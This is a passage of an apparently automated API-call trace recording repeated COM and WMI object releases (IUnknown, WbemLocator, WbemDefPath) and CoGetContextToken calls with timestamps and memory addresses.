[0111.248] IUnknown:Release (This=0x1b4ce630) returned 0x0 [0111.248] IUnknown:Release (This=0x1b4ce2c0) returned 0x0 [0111.248] IUnknown:Release (This=0x1b4cdf50) returned 0x0 [0111.248] IUnknown:Release (This=0x1b4cfad0) returned 0x0 [0111.248] IUnknown:Release (This=0x1b4ae630) returned 0x0 [0111.248] IUnknown:Release (This=0x1b4ad8d0) returned 0x0 [0111.248] IUnknown:Release (This=0x1b4cf760) returned 0x0 [0111.248] IUnknown:Release (This=0x1b4cf3f0) returned 0x0 [0113.186] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0113.186] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.186] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x1 [0113.186] WbemLocator:IUnknown:Release (This=0x1b4d2a40) returned 0x0 [0113.186] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.186] WbemLocator:IUnknown:Release (This=0x1b4acf18) returned 0x1 [0113.186] WbemLocator:IUnknown:Release (This=0x63be40) returned 0x0 [0113.187] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.187] WbemLocator:IUnknown:Release (This=0x1b4d29c0) returned 0x1 [0113.187] WbemLocator:IUnknown:Release (This=0x1b4d29c0) returned 0x0 [0113.187] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.187] IUnknown:Release (This=0x1b4cf3f0) returned 0x1 [0113.187] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.187] WbemLocator:IUnknown:Release (This=0x1b4d1da0) returned 0x1 [0113.187] WbemLocator:IUnknown:Release (This=0x1b4d1da0) returned 0x0 [0113.187] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.187] IUnknown:Release (This=0x1b4ce630) returned 0x1 [0113.188] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0113.188] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x1 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x0 [0113.188] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x1 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4af0a0) returned 0x0 [0113.188] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x0 [0113.188] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x1 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x0 [0113.188] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x1 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4afca0) returned 0x0 [0113.188] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x0 [0113.188] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0113.188] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x0 [0113.188] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x0 [0113.189] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x0 [0113.189] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x1 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x0 [0113.189] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x1 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x0 [0113.189] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x0 [0113.189] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0113.189] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4eace0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4707e0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4d8da0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4da5b0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4d7fe0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4d97f0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4ce630) returned 0x0 [0113.212] IUnknown:Release (This=0x1b425ad0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4ad8d0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4ce2c0) returned 0x0 [0113.212] IUnknown:Release (This=0x1b4cdf50) returned 0x0 [0115.428] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0115.428] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.428] IUnknown:Release (This=0x1b4ce630) returned 0x1 [0115.428] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.428] WbemLocator:IUnknown:Release (This=0x1b4acd78) returned 0x1 [0115.428] WbemLocator:IUnknown:Release (This=0x1b4b4820) returned 0x0 [0115.453] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.453] WbemLocator:IUnknown:Release (This=0x1b470d28) returned 0x1 [0115.453] WbemLocator:IUnknown:Release (This=0x1b4b4160) returned 0x0 [0115.454] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.454] WbemLocator:IUnknown:Release (This=0x5f4a18) returned 0x1 [0115.454] WbemLocator:IUnknown:Release (This=0x63b6f0) returned 0x0 [0115.455] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.455] WbemLocator:IUnknown:Release (This=0x1b4ac010) returned 0x1 [0115.455] WbemLocator:IUnknown:Release (This=0x1b4ac010) returned 0x0 [0115.455] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.455] WbemLocator:IUnknown:Release (This=0x1b482778) returned 0x1 [0115.455] WbemLocator:IUnknown:Release (This=0x59dd00) returned 0x0 [0115.455] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.455] WbemLocator:IUnknown:Release (This=0x1b483e68) returned 0x1 [0115.455] WbemLocator:IUnknown:Release (This=0x1b4b3ce0) returned 0x0 [0115.456] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.456] WbemLocator:IUnknown:Release (This=0x1b4ad0b8) returned 0x1 [0115.456] WbemLocator:IUnknown:Release (This=0x1b4b38f0) returned 0x0 [0115.456] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.456] WbemLocator:IUnknown:Release (This=0x1b4adcf8) returned 0x1 [0115.456] WbemLocator:IUnknown:Release (This=0x1b4b3860) returned 0x0 [0115.457] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.457] WbemLocator:IUnknown:Release (This=0x1b4ad258) returned 0x1 [0115.457] WbemLocator:IUnknown:Release (This=0x63c590) returned 0x0 [0115.457] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.457] WbemLocator:IUnknown:Release (This=0x1b4aeac8) returned 0x1 [0115.457] WbemLocator:IUnknown:Release (This=0x63cce0) returned 0x0 [0115.458] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.458] WbemLocator:IUnknown:Release (This=0x1b4aca38) returned 0x1 [0115.458] WbemLocator:IUnknown:Release (This=0x1b4b45e0) returned 0x0 [0115.458] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.458] WbemLocator:IUnknown:Release (This=0x1b4ad738) returned 0x1 [0115.458] WbemLocator:IUnknown:Release (This=0x63b300) returned 0x0 [0115.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.459] WbemLocator:IUnknown:Release (This=0x1b4ad3f8) returned 0x1 [0115.459] WbemLocator:IUnknown:Release (This=0x1b4e0350) returned 0x0 [0115.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.459] WbemLocator:IUnknown:Release (This=0x1b4ac0f0) returned 0x1 [0115.460] WbemLocator:IUnknown:Release (This=0x1b4ac0f0) returned 0x0 [0115.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.460] WbemLocator:IUnknown:Release (This=0x1b4d2140) returned 0x1 [0115.460] WbemLocator:IUnknown:Release (This=0x1b4d2140) returned 0x0 [0115.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.460] WbemLocator:IUnknown:Release (This=0x1b4acbd8) returned 0x1 [0115.460] WbemLocator:IUnknown:Release (This=0x1b4e0620) returned 0x0 [0115.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.460] WbemLocator:IUnknown:Release (This=0x1b4d28c0) returned 0x1 [0115.460] WbemLocator:IUnknown:Release (This=0x1b4d28c0) returned 0x0 [0115.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.460] IUnknown:Release (This=0x1b4d7590) returned 0x1 [0115.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.460] WbemLocator:IUnknown:Release (This=0x1b45d1b0) returned 0x1 [0115.460] WbemLocator:IUnknown:Release (This=0x1b45d1b0) returned 0x0 [0115.460] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemLocator:IUnknown:Release (This=0x1b48abd0) returned 0x1 [0115.461] WbemLocator:IUnknown:Release (This=0x1b48abd0) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x1 [0115.461] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x1 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4aec20) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x1 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4aefe0) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x1 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4b0660) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x1 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4af160) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x1 [0115.461] WbemDefPath:IUnknown:Release (This=0x6569f0) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x1 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4af220) returned 0x0 [0115.461] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.461] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4af520) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x6563f0) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4b01e0) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4b07e0) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4aef20) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x656db0) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x1 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x0 [0115.462] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.462] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x0 [0115.463] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.463] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x1b4af6a0) returned 0x0 [0115.463] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.463] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x1b4b0960) returned 0x0 [0115.463] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.463] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x6570b0) returned 0x0 [0115.463] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.463] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x0 [0115.463] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.463] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x0 [0115.463] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.463] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x0 [0115.463] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.463] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x1b4b0120) returned 0x0 [0115.463] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.463] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x1 [0115.463] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4afa60) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4af5e0) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4b04e0) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4af820) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4b0060) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4afbe0) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4aee60) returned 0x0 [0115.464] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x1 [0115.464] WbemDefPath:IUnknown:Release (This=0x1b4aece0) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x1 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af460) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x1 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af9a0) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x1 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4b02a0) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x1 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af3a0) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x1 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4afb20) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x1 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af2e0) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x1 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af8e0) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x1 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4af760) returned 0x0 [0115.465] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.465] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x1 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4b0360) returned 0x0 [0115.466] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x1 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4b05a0) returned 0x0 [0115.466] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x1 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4aeda0) returned 0x0 [0115.466] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x1 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4b0720) returned 0x0 [0115.466] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x1 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4afe20) returned 0x0 [0115.466] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x1 [0115.466] WbemDefPath:IUnknown:Release (This=0x1b4b0ae0) returned 0x0 [0115.466] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0115.466] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x1 [0115.466] WbemDefPath:IUnknown:Release (This=0x656270) returned 0x0 [0115.477] IUnknown:Release (This=0x1b4cf760) returned 0x0 [0115.478] IUnknown:Release (This=0x1b4cfad0) returned 0x0 [0115.478] IUnknown:Release (This=0x1b469f40) returned 0x0 [0115.478] IUnknown:Release (This=0x1b4ce9a0) returned 0x0 [0115.478] IUnknown:Release (This=0x1b484240) returned 0x0 [0115.481] IUnknown:Release (This=0x1b483790) returned 0x0 [0115.481] IUnknown:Release (This=0x1b4cf3f0) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4ead20) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4707e0) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4d8a30) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4d8350) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4d86c0) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4d7220) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4d7590) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4cf080) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4ced10) returned 0x0 [0115.488] IUnknown:Release (This=0x1b482230) returned 0x0 [0115.488] IUnknown:Release (This=0x1b4ad8d0) returned 0x0 [0115.489] IUnknown:Release (This=0x1b4d9b60) returned 0x0 [0115.489] IUnknown:Release (This=0x1b4d97f0) returned 0x0 [0115.489] IUnknown:Release (This=0x1b4cdf50) returned 0x0 [0115.490] IUnknown:Release (This=0x1b4ce2c0) returned 0x0 [0115.490] IUnknown:Release (This=0x1b4ce630) returned 0x0 [0117.458] CoGetContextToken (in: pToken=0x1aa6f580 | out: pToken=0x1aa6f580) returned 0x0 [0117.458] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.458] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x1 [0117.458] WbemDefPath:IUnknown:Release (This=0x6566f0) returned 0x0 [0117.458] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.458] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x1 [0117.458] WbemDefPath:IUnknown:Release (This=0x656570) returned 0x0 [0117.458] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.458] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x1 [0117.458] WbemDefPath:IUnknown:Release (This=0x655d30) returned 0x0 [0117.458] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.458] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x1 [0117.458] WbemDefPath:IUnknown:Release (This=0x655af0) returned 0x0 [0117.458] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.458] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x1 [0117.458] WbemDefPath:IUnknown:Release (This=0x6564b0) returned 0x0 [0117.458] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.458] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x1 [0117.459] WbemDefPath:IUnknown:Release (This=0x655370) returned 0x0 [0117.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.459] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x1 [0117.459] WbemDefPath:IUnknown:Release (This=0x655a30) returned 0x0 [0117.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.459] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x1 [0117.459] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x0 [0117.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.459] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x1 [0117.459] WbemDefPath:IUnknown:Release (This=0x655c70) returned 0x0 [0117.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.459] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0117.459] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x0 [0117.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.459] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x1 [0117.459] WbemDefPath:IUnknown:Release (This=0x6554f0) returned 0x0 [0117.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: pToken=0x1aa6f480) returned 0x0 [0117.459] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x1 [0117.459] WbemDefPath:IUnknown:Release (This=0x656ff0) returned 0x0 [0117.459] CoGetContextToken (in: pToken=0x1aa6f480 | out: 